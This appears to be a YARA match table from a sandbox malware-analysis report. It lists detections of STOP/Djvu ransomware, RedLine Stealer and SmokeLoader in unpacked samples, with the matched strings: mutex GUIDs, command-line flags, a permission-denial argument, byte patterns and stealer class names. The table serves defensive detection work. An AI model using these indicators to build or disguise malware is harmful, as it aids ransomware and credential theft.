19.2.5999.exe.23715a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
19.2.5999.exe.23715a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.5999.exe.23715a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.5999.exe.23715a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.0.5999.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
25.0.5999.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.0.5999.exe.400000.5.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.3.37F1.exe.2eb9e80.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.3.37F1.exe.2eb9e80.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x34f22:$pat14: , CommandLine: 0x23e04:$v2_1: ListOfProcesses 0x222ba:$v4_3: base64str 0x22279:$v4_4: stringKey 0x222c4:$v4_5: BytesToStringConverted 0x222af:$v4_6: FromBase64 0x23ac1:$v4_8: procName 0x20e82:$v5_1: DownloadAndExecuteUpdate 0x20eaa:$v5_2: ITaskProcessor 0x20e70:$v5_3: CommandLineUpdate 0x20e9b:$v5_4: DownloadUpdate 0x20de4:$v5_5: FileScanning 0x21082:$v5_7: RecordHeaderField 0x20fac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
25.0.5999.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.0.5999.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.2.37F1.exe.5f8cf50.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.5f8cf50.6.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x33122:$pat14: , CommandLine: 0x22004:$v2_1: ListOfProcesses 0x204ba:$v4_3: base64str 0x20479:$v4_4: stringKey 0x204c4:$v4_5: BytesToStringConverted 0x204af:$v4_6: FromBase64 0x21cc1:$v4_8: procName 0x1f082:$v5_1: DownloadAndExecuteUpdate 0x1f0aa:$v5_2: ITaskProcessor 0x1f070:$v5_3: CommandLineUpdate 0x1f09b:$v5_4: DownloadUpdate 0x1efe4:$v5_5: FileScanning 0x1f282:$v5_7: RecordHeaderField 0x1f1ac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.2.37F1.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 A7 88 44 24 2B 88 44 24 2F B0 D7 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
25.0.5999.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
25.0.5999.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
12.2.37F1.exe.4b70000.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.4b70000.5.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x3400a:$pat14: , CommandLine: 0x22eec:$v2_1: ListOfProcesses 0x213a2:$v4_3: base64str 0x21361:$v4_4: stringKey 0x213ac:$v4_5: BytesToStringConverted 0x21397:$v4_6: FromBase64 0x22ba9:$v4_8: procName 0x1ff6a:$v5_1: DownloadAndExecuteUpdate 0x1ff92:$v5_2: ITaskProcessor 0x1ff58:$v5_3: CommandLineUpdate 0x1ff83:$v5_4: DownloadUpdate 0x1fecc:$v5_5: FileScanning 0x2016a:$v5_7: RecordHeaderField 0x20094:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.2.37F1.exe.400000.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 A7 88 44 24 2B 88 44 24 2F B0 D7 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
11.2.uucbfdt.710e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
12.2.37F1.exe.4b70ee8.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.4b70ee8.4.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x33122:$pat14: , CommandLine: 0x22004:$v2_1: ListOfProcesses 0x204ba:$v4_3: base64str 0x20479:$v4_4: stringKey 0x204c4:$v4_5: BytesToStringConverted 0x204af:$v4_6: FromBase64 0x21cc1:$v4_8: procName 0x1f082:$v5_1: DownloadAndExecuteUpdate 0x1f0aa:$v5_2: ITaskProcessor 0x1f070:$v5_3: CommandLineUpdate 0x1f09b:$v5_4: DownloadUpdate 0x1efe4:$v5_5: FileScanning 0x1f282:$v5_7: RecordHeaderField 0x1f1ac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
13.3.405E.exe.820000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
13.2.405E.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
19.2.5999.exe.23715a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
19.2.5999.exe.23715a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
19.2.5999.exe.23715a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
19.2.5999.exe.23715a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
30.3.gecbfdt.710000.0.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
30.0.gecbfdt.700e67.4.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
25.0.5999.exe.400000.7.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
25.0.5999.exe.400000.7.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.0.5999.exe.400000.9.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.0.5999.exe.400000.9.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.9.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.9.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
12.2.37F1.exe.5f55530.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.5f55530.7.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x35e0a:$pat14: , CommandLine: 0x6c942:$pat14: , CommandLine: 0x24cec:$v2_1: ListOfProcesses 0x5b824:$v2_1: ListOfProcesses 0x231a2:$v4_3: base64str 0x59cda:$v4_3: base64str 0x23161:$v4_4: stringKey 0x59c99:$v4_4: stringKey 0x231ac:$v4_5: BytesToStringConverted 0x59ce4:$v4_5: BytesToStringConverted 0x23197:$v4_6: FromBase64 0x59ccf:$v4_6: FromBase64 0x249a9:$v4_8: procName 0x5b4e1:$v4_8: procName 0x21d6a:$v5_1: DownloadAndExecuteUpdate 0x588a2:$v5_1: DownloadAndExecuteUpdate 0x21d92:$v5_2: ITaskProcessor 0x588ca:$v5_2: ITaskProcessor 0x21d58:$v5_3: CommandLineUpdate 0x58890:$v5_3: CommandLineUpdate 0x21d83:$v5_4: DownloadUpdate
12.2.37F1.exe.4a8a18e.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.4a8a18e.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x3400a:$pat14: , CommandLine: 0x22eec:$v2_1: ListOfProcesses 0x213a2:$v4_3: base64str 0x21361:$v4_4: stringKey 0x213ac:$v4_5: BytesToStringConverted 0x21397:$v4_6: FromBase64 0x22ba9:$v4_8: procName 0x1ff6a:$v5_1: DownloadAndExecuteUpdate 0x1ff92:$v5_2: ITaskProcessor 0x1ff58:$v5_3: CommandLineUpdate 0x1ff83:$v5_4: DownloadUpdate 0x1fecc:$v5_5: FileScanning 0x2016a:$v5_7: RecordHeaderField 0x20094:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.2.37F1.exe.4b70000.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.4b70000.5.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x35e0a:$pat14: , CommandLine: 0x24cec:$v2_1: ListOfProcesses 0x231a2:$v4_3: base64str 0x23161:$v4_4: stringKey 0x231ac:$v4_5: BytesToStringConverted 0x23197:$v4_6: FromBase64 0x249a9:$v4_8: procName 0x21d6a:$v5_1: DownloadAndExecuteUpdate 0x21d92:$v5_2: ITaskProcessor 0x21d58:$v5_3: CommandLineUpdate 0x21d83:$v5_4: DownloadUpdate 0x21ccc:$v5_5: FileScanning 0x21f6a:$v5_7: RecordHeaderField 0x21e94:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
12.2.37F1.exe.4a8b076.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
12.2.37F1.exe.4a8b076.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x34f22:$pat14: , CommandLine: 0x23e04:$v2_1: ListOfProcesses 0x222ba:$v4_3: base64str 0x22279:$v4_4: stringKey 0x222c4:$v4_5: BytesToStringConverted 0x222af:$v4_6: FromBase64 0x23ac1:$v4_8: procName 0x20e82:$v5_1: DownloadAndExecuteUpdate 0x20eaa:$v5_2: ITaskProcessor 0x20e70:$v5_3: CommandLineUpdate 0x20e9b:$v5_4: DownloadUpdate 0x20de4:$v5_5: FileScanning 0x21082:$v5_7: RecordHeaderField 0x20fac:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
25.2.5999.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.2.5999.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.2.5999.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.2.5999.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
25.0.5999.exe.400000.6.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.0.5999.exe.400000.6.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.6.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.6.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
25.0.5999.exe.400000.5.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.0.5999.exe.400000.5.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
25.0.5999.exe.400000.5.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.0.5999.exe.400000.5.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
25.0.5999.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
25.0.5999.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
